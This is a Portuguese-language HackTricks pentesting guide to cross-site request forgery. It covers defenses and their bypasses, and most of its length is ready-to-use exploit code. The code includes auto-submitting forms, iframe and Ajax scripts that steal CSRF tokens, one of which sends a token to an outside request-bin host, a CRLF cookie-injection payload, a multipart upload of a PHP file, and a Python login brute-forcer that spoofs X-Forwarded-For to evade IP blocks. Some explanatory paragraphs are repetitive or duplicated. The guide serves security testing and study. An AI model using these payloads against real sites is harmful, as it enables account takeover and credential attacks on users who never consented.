hacktricks/pentesting-web/csrf-cross-site-request-forgery.md
2023-06-06 18:56:34 +00:00

33 KiB
Raw Blame History

CSRF (Cross Site Request Forgery)

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Siga HackenProof para aprender mais sobre bugs web3

🐞 Leia tutoriais de bugs web3

🔔 Receba notificações sobre novos programas de recompensas por bugs

💬 Participe de discussões na comunidade

O que é CSRF?

Cross-site request forgery (também conhecido como CSRF) é uma vulnerabilidade de segurança na web que permite que um invasor induza usuários a executar ações que eles não pretendem executar.
Isso é feito fazendo um usuário logado na plataforma da vítima acessar um site controlado pelo atacante e a partir daí executar código JS malicioso, enviar formulários ou recuperar "imagens" para a conta da vítima.

Requisitos

Para ser capaz de explorar uma vulnerabilidade CSRF, você primeiro precisa encontrar uma ação relevante para explorar (alterar senha ou e-mail, fazer a vítima seguir você em uma rede social, dar mais privilégios...). A sessão deve depender apenas de cookies ou do cabeçalho de autenticação básica HTTP, nenhum outro cabeçalho pode ser usado para manipular a sessão. E finalmente, não deve haver parâmetros imprevisíveis na solicitação.

Várias contramedidas podem ser implementadas para evitar essa vulnerabilidade.

Defesas comuns

  • Cookies SameSite: Se o cookie de sessão estiver usando essa flag, você pode não ser capaz de enviar o cookie de sites da web arbitrários.
  • Compartilhamento de recursos entre origens: Dependendo do tipo de solicitação HTTP que você precisa executar para explorar a ação relevante, você pode levar em conta a política CORS do site da vítima. Observe que a política CORS não afetará se você apenas quiser enviar uma solicitação GET ou uma solicitação POST de um formulário e não precisar ler a resposta.
  • Peça a senha do usuário para autorizar a ação.
  • Resolva um captcha
  • Leia os cabeçalhos Referer ou Origin. Se uma expressão regular for usada, ela poderá ser contornada, por exemplo, com:
  • Modifique o nome dos parâmetros da solicitação Post ou Get
  • Use um token CSRF em cada sessão. Esse token deve ser enviado dentro da solicitação para confirmar a ação. Esse token pode ser protegido com CORS.

Mapa CSRF

Bypass de defesas

De POST para GET

Talvez o formulário que você deseja explorar esteja preparado para enviar uma solicitação POST com um token CSRF, mas você deve verificar se um GET também é válido e se, quando você envia uma solicitação GET, o token CSRF ainda está sendo validado.

Falta de token

Algumas aplicações validam corretamente o token quando ele está presente, mas ignoram a validação se o token for omitido.
Nessa situação, o invasor pode remover todo o parâmetro contendo o token (não apenas seu valor) para contornar a validação e realizar um ataque CSRF.

Token CSRF não está vinculado à sessão do usuário

Algumas aplicações não validam que o token pertence à mesma sessão do usuário que está fazendo a solicitação. Em vez disso, a aplicação mantém um pool global de tokens que emitiu e aceita qualquer token que apareça neste pool.
Nessa situação, o invasor pode fazer login na aplicação usando sua própria conta, obter um token válido e, em seguida, alimentar esse token para o usuário vítima em seu ataque CSRF.

Bypass de método

Se a solicitação estiver usando um método "estranho", verifique se a funcionalidade de substituição de método está funcionando.
Por exemplo, se estiver usando um método PUT, você pode tentar usar um método POST e enviar: https://example.com/my/dear/api/val/num?_method=PUT

Isso também pode funcionar enviando o parâmetro _method dentro de uma solicitação POST ou usando os cabeçalhos:

  • X-HTTP-Method
  • X-HTTP-Method-Override
  • X-Method-Override

Bypass de token de cabeçalho personalizado

Se a solicitação estiver adicionando um cabeçalho personalizado com um token à solicitação como método de proteção CSRF, então:

  • Teste a solicitação sem o Token Personalizado e também o cabeçalho.
  • Teste a solicitação com exatamente o mesmo comprimento, mas com um token diferente.

Em uma variação adicional da vulnerabilidade anterior, algumas aplicações duplicam cada token em um cookie e um parâmetro de solicitação. Ou definem um cookie csrf e verificam no backend se o token csrf enviado é o relacionado com o cookie.

Quando a solicitação subsequente é validada, a aplicação simplesmente verifica se o token enviado no parâmetro da solicitação corresponde ao valor armazenado pelo cookie.
Nessa situação, o invasor pode novamente realizar um ataque CSRF se o site da web contiver alguma vulnerabilidade que permita que ele defina seu cookie CSRF para a vítima como um CRLF.

Nesse caso, você pode definir o cookie tentando carregar uma imagem falsa e, em seguida, lançar o ataque CSRF como neste exemplo:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
      <input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
      <input type="submit" value="Submit request" />
    </form>
    <img src="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
  </body>
</html>

{% hint style="info" %} Observe que se o token csrf estiver relacionado ao cookie de sessão, esse ataque não funcionará porque você precisará definir a sessão da vítima e, portanto, estará atacando a si mesmo. {% endhint %}

Mudança de Content-Type

De acordo com isto, para evitar solicitações de pré-voo usando o método POST, esses são os valores permitidos para Content-Type:

  • application/x-www-form-urlencoded
  • multipart/form-data
  • text/plain

No entanto, observe que a lógica dos servidores pode variar dependendo do Content-Type usado, portanto, você deve tentar os valores mencionados e outros como application/json,text/xml, application/xml.

Exemplo (de aqui) de envio de dados JSON como text/plain:

<html>
  <body>
    <form id="form" method="post" action="https://phpme.be.ax/" enctype="text/plain">
      <input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'>
    </form>
    <script>
        form.submit();
    </script>
  </body>
</html>

Bypass de requisição de pré-voo de aplicação/json

Como você já sabe, não é possível enviar uma solicitação POST com o Content-Type application/json via formulário HTML e, se você tentar fazer isso via XMLHttpRequest, uma solicitação de pré-voo é enviada primeiro.
No entanto, você pode tentar enviar os dados JSON usando os tipos de conteúdo text/plain e application/x-www-form-urlencoded apenas para verificar se o backend está usando os dados independentemente do Content-Type.
Você pode enviar um formulário usando Content-Type: text/plain definindo enctype="text/plain"

Se o servidor estiver aceitando apenas o tipo de conteúdo "application/json", você pode enviar o tipo de conteúdo "text/plain; application/json" sem acionar uma solicitação de pré-voo.

Você também pode tentar burlar essa restrição usando um arquivo flash SWF. Para mais informações, leia este post.

Bypass de verificação de Referrer / Origin

Evite o cabeçalho Referrer

Algumas aplicações validam o cabeçalho Referer quando ele está presente em solicitações, mas ignoram a validação se o cabeçalho for omitido.

<meta name="referrer" content="never">

Burlas de Regexp

{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}

Para definir o nome de domínio do servidor na URL que o Referrer vai enviar dentro dos parâmetros, você pode fazer:

<html>
  <!-- Referrer policy needed to send the qury parameter in the referrer -->
  <head><meta name="referrer" content="unsafe-url"></head>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      // You need to set this or the domain won't appear in the query of the referer header
      history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
      document.forms[0].submit();
    </script>
  </body>
</html>

Siga HackenProof para aprender mais sobre bugs web3

🐞 Leia tutoriais sobre bugs web3

🔔 Receba notificações sobre novas recompensas por bugs

💬 Participe de discussões na comunidade

Exemplos de Exploração

Exfiltrando Token CSRF

Se um token CSRF está sendo usado como defesa, você pode tentar exfiltrá-lo abusando de uma vulnerabilidade XSS ou uma vulnerabilidade de Dangling Markup.

GET usando tags HTML

<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available

Outras tags HTML5 que podem ser usadas para enviar automaticamente uma solicitação GET são:

Solicitação GET de formulário

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form method="GET" action="https://victim.net/email/change-email">
      <input type="hidden" name="email" value="some@email.com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Requisição POST de formulário

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form method="POST" action="https://victim.net/email/change-email" id="csrfform">
      <input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
      <input type="submit" value="Submit request" />
      <img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
    </form>
    <script>
      document.forms[0].submit(); //Way 3 to autosubmit
    </script>
  </body>
</html>

Solicitação de POST de formulário através de iframe

<!-- 
The request is sent through the iframe withuot reloading the page 
-->
<html>
  <body>
  <iframe style="display:none" name="csrfframe"></iframe> 
    <form method="POST" action="/change-email" id="csrfform" target="csrfframe">
      <input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Requisição POST Ajax


An Ajax POST request can be used to perform CSRF attacks. The attacker can create a form with a hidden input field that contains the CSRF token of the victim's session. Then, using JavaScript, the attacker can submit the form using an Ajax POST request to the vulnerable endpoint.

Uma requisição POST Ajax pode ser usada para realizar ataques CSRF. O atacante pode criar um formulário com um campo de entrada oculto que contenha o token CSRF da sessão da vítima. Em seguida, usando JavaScript, o atacante pode enviar o formulário usando uma requisição POST Ajax para o endpoint vulnerável.

<script>
var xh;
if (window.XMLHttpRequest)
  {// code for IE7+, Firefox, Chrome, Opera, Safari
  xh=new XMLHttpRequest();
  }
else
  {// code for IE6, IE5
  xh=new ActiveXObject("Microsoft.XMLHTTP");
  }
xh.withCredentials = true;
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");
</script>

<script>
//JQuery version
$.ajax({
  type: "POST",
  url: "https://google.com",
  data: "param=value&param2=value2"
})
</script>

Requisição POST multipart/form-data

myFormData = new FormData();
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
myFormData.append("newAttachment", blob, "pwned.php");
fetch("http://example/some/path", {
    method: "post",
    body: myFormData,
    credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    mode: "no-cors"
});

Solicitação POST multipart/form-data v2

var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("POST", url, true);
//  MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + ctype + "\r\n\r\n";
body += fileData + "\r\n";
body += "--" + boundary + "--";

//xhr.send(body);
xhr.sendAsBinary(body);

Solicitação POST de formulário de dentro de um iframe

<--! expl.html -->

<body onload="envia()">
<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva">
</form>
<body>
<script>
function envia(){document.getElementById("formulario").submit();}
</script>

<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000">
</iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>

Roubar o Token CSRF e enviar uma requisição POST

Uma vez que o token CSRF é armazenado no navegador do usuário, um atacante pode tentar roubá-lo usando técnicas como XSS ou CSRF. Depois de obter o token, o atacante pode enviar uma requisição POST maliciosa para o servidor, que será autenticada pelo token CSRF roubado. Isso pode permitir que o atacante execute ações maliciosas em nome do usuário legítimo.

Para roubar o token CSRF, o atacante pode usar técnicas como a injeção de JavaScript malicioso em uma página vulnerável ou a criação de um formulário falso que envia o token para um servidor controlado pelo atacante. Depois de obter o token, o atacante pode usá-lo para enviar uma requisição POST maliciosa para o servidor.

function submitFormWithTokenJS(token) {
    var xhr = new XMLHttpRequest();
    xhr.open("POST", POST_URL, true);
    xhr.withCredentials = true;

    // Send the proper header information along with the request
    xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

    // This is for debugging and can be removed
    xhr.onreadystatechange = function() {
        if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
            //console.log(xhr.responseText);
        }
    }

    xhr.send("token=" + token + "&otherparama=heyyyy");
}

function getTokenJS() {
    var xhr = new XMLHttpRequest();
    // This tels it to return it as a HTML document
    xhr.responseType = "document";
    xhr.withCredentials = true;
    // true on the end of here makes the call asynchronous
    xhr.open("GET", GET_URL, true);
    xhr.onload = function (e) {
        if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
            // Get the document from the response
            page = xhr.response
            // Get the input element
            input = page.getElementById("token");
            // Show the token
            //console.log("The token is: " + input.value);
            // Use the token to submit the form
            submitFormWithTokenJS(input.value);
        }
    };
    // Make the request
    xhr.send(null);
}

var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();

Roubar o Token CSRF e enviar uma solicitação Post usando um iframe, um formulário e Ajax

Para realizar um ataque CSRF, é necessário obter o token CSRF válido do usuário alvo. Uma vez que o token CSRF é obtido, ele pode ser usado para enviar solicitações maliciosas em nome do usuário alvo.

Uma maneira de obter o token CSRF é usando um iframe para carregar a página de destino que contém o token. O token pode então ser extraído do código-fonte da página usando JavaScript e usado para enviar uma solicitação POST maliciosa.

Outra maneira de obter o token CSRF é usando um formulário oculto que é preenchido automaticamente com o token CSRF e enviado usando JavaScript.

Finalmente, o token CSRF também pode ser obtido usando uma solicitação AJAX para a página de destino que retorna o token. O token pode então ser usado para enviar uma solicitação POST maliciosa.

Em todos os casos, o objetivo é obter o token CSRF válido do usuário alvo e usá-lo para enviar solicitações maliciosas em nome do usuário.

<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AA">
<input type="checkbox" name="status" checked="checked">
<input id="token" type="hidden" name="token" value="" />
</form>

<script type="text/javascript">
function f1(){
    x1=document.getElementById("i1");
    x1d=(x1.contentWindow||x1.contentDocument);
    t=x1d.document.getElementById("token").value;
    
    document.getElementById("token").value=t;
    document.getElementById("form1").submit();
}
</script> 
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>

Roubar o Token CSRF e enviar uma solicitação POST usando um iframe e um formulário

Uma técnica comum de ataque CSRF é roubar o token CSRF de um usuário legítimo e usá-lo para enviar uma solicitação POST maliciosa. Isso pode ser feito usando um iframe e um formulário oculto.

O primeiro passo é obter o token CSRF do usuário legítimo. Isso pode ser feito usando um script malicioso que injeta um iframe em uma página legítima. O iframe aponta para a página que o atacante deseja atacar e inclui um formulário oculto que envia uma solicitação POST com o token CSRF roubado.

Quando o usuário legítimo visita a página legítima, o script malicioso é executado e o iframe é injetado na página. O formulário oculto é preenchido com os dados necessários para enviar a solicitação POST maliciosa, incluindo o token CSRF roubado. Quando o usuário envia o formulário, a solicitação POST é enviada para o servidor da página de destino, que acredita que a solicitação é legítima porque inclui o token CSRF correto.

Para se proteger contra esse tipo de ataque, os desenvolvedores devem garantir que seus aplicativos gerem tokens CSRF exclusivos para cada sessão do usuário e que esses tokens sejam incluídos em todas as solicitações POST. Além disso, os desenvolvedores devem garantir que seus aplicativos não permitam que solicitações POST sejam enviadas de origens não confiáveis.

<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>

<script> 
function read()
{
    var name = 'admin2';
    var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
    document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">');
    document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
    document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
    document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
    document.writeln('</form>');
    document.forms[0].submit.click();
}
</script>

Roubar token e enviá-lo usando 2 iframes

Este método de ataque CSRF envolve a criação de dois iframes, um para enviar uma solicitação GET para obter o token de autenticação e outro para enviar a solicitação POST com o token roubado. O primeiro iframe é carregado com a URL da página que contém o token de autenticação e o segundo iframe é carregado com a URL da página que contém o formulário que será enviado com o token roubado.

O código HTML para criar os dois iframes é o seguinte:

<iframe id="get-token" src="https://example.com/get-token"></iframe>
<iframe id="send-form" src="https://example.com/send-form"></iframe>

O JavaScript para roubar o token e enviá-lo usando os dois iframes é o seguinte:

var getTokenFrame = document.getElementById('get-token');
var sendFormFrame = document.getElementById('send-form');

getTokenFrame.onload = function() {
  var token = getTokenFrame.contentWindow.document.body.innerHTML;
  sendFormFrame.contentWindow.postMessage(token, 'https://example.com');
};

window.addEventListener('message', function(event) {
  if (event.origin === 'https://example.com' && event.source === sendFormFrame.contentWindow) {
    var form = sendFormFrame.contentWindow.document.getElementById('form');
    form.submit();
  }
});

Este código carrega o primeiro iframe com a URL https://example.com/get-token, que deve retornar o token de autenticação em seu corpo HTML. Quando o iframe é carregado, o código JavaScript dentro do onload do iframe obtém o token do corpo HTML do iframe e o envia para o segundo iframe usando postMessage. O segundo iframe é carregado com a URL https://example.com/send-form, que contém um formulário que será enviado com o token roubado. Quando o segundo iframe recebe o token usando postMessage, o código JavaScript dentro do window.addEventListener do documento envia o formulário com o token roubado.

<script>
var token;
function readframe1(){
  token = frame1.document.getElementById("profile").token.value;
  document.getElementById("bypass").token.value = token
  loadframe2();
}
function loadframe2(){
  var test = document.getElementbyId("frame2");
  test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>

<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()" 
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>

<iframe id="frame2" name="frame2" 
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
  <input type="text" name="username" value="z">
  <input type="checkbox" name="status" checked="">        
  <input id="token" type="hidden" name="token" value="0000" />
  <button type="submit">Submit</button>
</form>

POSTSteal CSRF token com Ajax e enviar um post com um formulário

Para realizar um ataque CSRF, é necessário obter o token CSRF válido do usuário alvo. Uma maneira de fazer isso é usando uma solicitação Ajax para obter o token e, em seguida, enviar um POST com um formulário contendo o token. O código abaixo mostra como fazer isso:

var xhr = new XMLHttpRequest();
xhr.open('GET', '/path/to/endpoint/that/returns/csrf/token', true);
xhr.onload = function () {
  var csrfToken = xhr.responseText;

  var form = document.createElement('form');
  form.setAttribute('method', 'POST');
  form.setAttribute('action', '/path/to/endpoint/that/accepts/post/requests');

  var hiddenField = document.createElement('input');
  hiddenField.setAttribute('type', 'hidden');
  hiddenField.setAttribute('name', 'csrf_token');
  hiddenField.setAttribute('value', csrfToken);
  form.appendChild(hiddenField);

  document.body.appendChild(form);
  form.submit();
};
xhr.send();

Este código envia uma solicitação GET para um endpoint que retorna o token CSRF válido. Em seguida, ele cria um formulário com um campo oculto contendo o token e envia um POST para o endpoint que aceita solicitações POST. O formulário é adicionado ao corpo do documento e enviado automaticamente.

Este ataque pode ser evitado usando tokens CSRF que expiram após um determinado período de tempo ou usando cookies HTTPOnly para armazenar o token CSRF.

<body onload="getData()">

<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
  <input type="hidden" name="username" value="root"/>
  <input type="hidden" name="status" value="on"/>
  <input type="hidden" id="findtoken" name="token" value=""/>
  <input type="submit" value="valider"/>
</form>

<script>
var x = new XMLHttpRequest();
function getData() {
  x.withCredentials = true;
  x.open("GET","http://google.com?param=VALUE",true);
  x.send(null); 
}
x.onreadystatechange = function() {
  if (x.readyState == XMLHttpRequest.DONE) {
    var token = x.responseText.match(/name="token" value="(.+)"/)[1];
    document.getElementById("findtoken").value = token;
    document.getElementById("form").submit();
  }
}
</script>

CSRF com Socket.IO

Socket.IO é uma biblioteca JavaScript para aplicativos web em tempo real. Ele permite a comunicação bidirecional em tempo real entre o cliente e o servidor. No entanto, o Socket.IO pode ser vulnerável a ataques CSRF.

O Socket.IO usa cookies para autenticar usuários e manter a sessão do usuário. Se um invasor conseguir obter o cookie de autenticação de um usuário, ele poderá enviar solicitações maliciosas em nome do usuário autenticado.

Para explorar essa vulnerabilidade, o invasor pode criar um site malicioso que envia solicitações para o servidor Socket.IO usando o cookie de autenticação do usuário. Quando o usuário visita o site malicioso, as solicitações são enviadas automaticamente para o servidor Socket.IO sem o conhecimento do usuário.

Para evitar esse tipo de ataque, é importante usar tokens CSRF para proteger as solicitações do Socket.IO. O token CSRF é um valor aleatório que é gerado pelo servidor e incluído em cada solicitação. O cliente deve enviar o token CSRF junto com a solicitação e o servidor verifica se o token é válido antes de processar a solicitação.

Para implementar a proteção CSRF no Socket.IO, você pode usar a biblioteca socketio-csrf. Essa biblioteca adiciona suporte para tokens CSRF ao Socket.IO e é fácil de usar. Basta adicionar o middleware csrf ao seu aplicativo Socket.IO e a biblioteca cuidará do resto.

<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io('http://six.jh2i.com:50022/test');

const username = 'admin'

socket.on('connect', () => {
    console.log('connected!');
    socket.emit('join', {
        room: username
    });
  socket.emit('my_room_event', {
      data: '!flag',
      room: username
  })

});
</script>

CSRF Login Brute Force

O código pode ser usado para forçar a entrada em um formulário de login usando um token CSRF (também está usando o cabeçalho X-Forwarded-For para tentar contornar uma possível lista negra de IP):

import request
import re
import random

URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"

def init_session():
    #Return CSRF + Session (cookie)
    r = requests.get(URL)
    csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
    csrf = csrf.group(1)
    session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
    return csrf, session_cookie

def login(user, password):
    print(f"{user}:{password}")
    csrf, cookie = init_session()
    cookies = {SESSION_COOKIE_NAME: cookie}
    data = {
        "tokenCSRF": csrf,
        "username": user,
        "password": password,
        "save": ""
    }
    headers = {
        "X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
    }
    r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
    if "Username or password incorrect" in r.text:
        return False
    else:
        print(f"FOUND {user} : {password}")
        return True

with open(PASS_LIST, "r") as f:
    for line in f:
        login(USER, line.strip())

Ferramentas

Referências

Siga HackenProof para aprender mais sobre bugs web3

🐞 Leia tutoriais sobre bugs web3

🔔 Receba notificações sobre novas recompensas por bugs

💬 Participe de discussões na comunidade

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥